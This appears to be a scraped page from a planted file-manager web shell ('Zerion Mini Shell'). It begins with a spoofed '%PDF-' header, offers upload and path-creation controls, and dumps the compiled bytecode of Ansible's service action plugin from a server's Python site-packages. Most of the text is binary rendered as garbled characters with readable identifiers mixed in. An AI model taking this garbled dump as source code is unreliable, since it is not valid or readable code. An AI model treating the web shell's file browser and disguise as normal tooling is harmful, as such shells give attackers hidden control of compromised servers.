%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/plugins/action/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/plugins/action/__pycache__/service.cpython-39.opt-1.pyc

a

�)g�@sTddlmZmZmZeZddlmZmZddl	m
Z
ddlmZGdd�de�Z
dS)�)�absolute_import�division�print_function)�
AnsibleAction�AnsibleActionFail)�get_action_args_with_defaults)�
ActionBasecs:eZdZdZdgd�iZegd��Zd�fdd�	Z�ZS)	�ActionModuleF�systemd)�patternZrunlevel�sleepZ	arguments�args)Zopenwrt_initZservicer
ZsysvinitNc

sFd|_d|_tt|��||�}~|jj�dd���}|dkr~z.|jj	r\|j
�d|jj	�}n|j
�d�}Wnty|Yn0�z��zP|dkr�|j
dtddd	�|d
�}|j�d|�|�di��dd�}|r�|dks�|jj�|�s�d
}|dk�r�|jj��}d|v�r|d=||jv�rP|j|D]*}||v�r$||=|j�d||f��q$|jjj||jjd�}t|j||jj|j
|jjjjd�}||jv�r�d|}|j� d|�|�!|j
||||jj"d��nt#d��Wn2t$�y}	z|�!|	j%�WYd}	~	n
d}	~	00W|jj"�sB|�&|j'j(j)�n|jj"�s@|�&|j'j(j)�0|S)z  handler for package operations TZuse�autoz2{{hostvars['%s']['ansible_facts']['service_mgr']}}z{{ansible_facts.service_mgr}}zansible.legacy.setupz!allZansible_service_mgr)Z
gather_subset�filter)�module_name�module_args�	task_varszFacts %sZ
ansible_factszansible.legacy.servicez'Ignoring "%s" as it is not used in "%s")Zcollection_list)Z
action_groupszansible.legacy.z
Running %s)rrrZ
wrap_asyncz_Could not detect which service manager to use. Try gathering facts or setting the "use" option.N)*Z_supports_check_modeZ_supports_async�superr	�runZ_taskr
�get�lowerZdelegate_toZ_templar�template�	ExceptionZ_execute_module�dictZ_display�debugZ_shared_loader_objZ
module_loaderZ
has_plugin�copy�
UNUSED_PARAMSZwarningZfind_plugin_with_context�collectionsrZ
resolved_fqcnZmodule_defaultsZ_parentZ_play�_action_groups�BUILTIN_SVC_MGR_MODULESZvvvv�updateZ	async_valrr�resultZ_remove_tmp_pathZ_connectionZ_shellZtmpdir)
�self�tmprr!�moduleZfactsZnew_module_argsZunused�context�e��	__class__��B/usr/lib/python3.9/site-packages/ansible/plugins/action/service.pyr&s`�



�$
�
zActionModule.run)NN)	�__name__�
__module__�__qualname__ZTRANSFERS_FILESr�setrr�
__classcell__r)r)r'r*r	s
�r	N)Z
__future__rrr�typeZ
__metaclass__Zansible.errorsrrZansible.executor.module_commonrZansible.plugins.actionrr	r)r)r)r*�<module>s


Zerion Mini Shell 1.0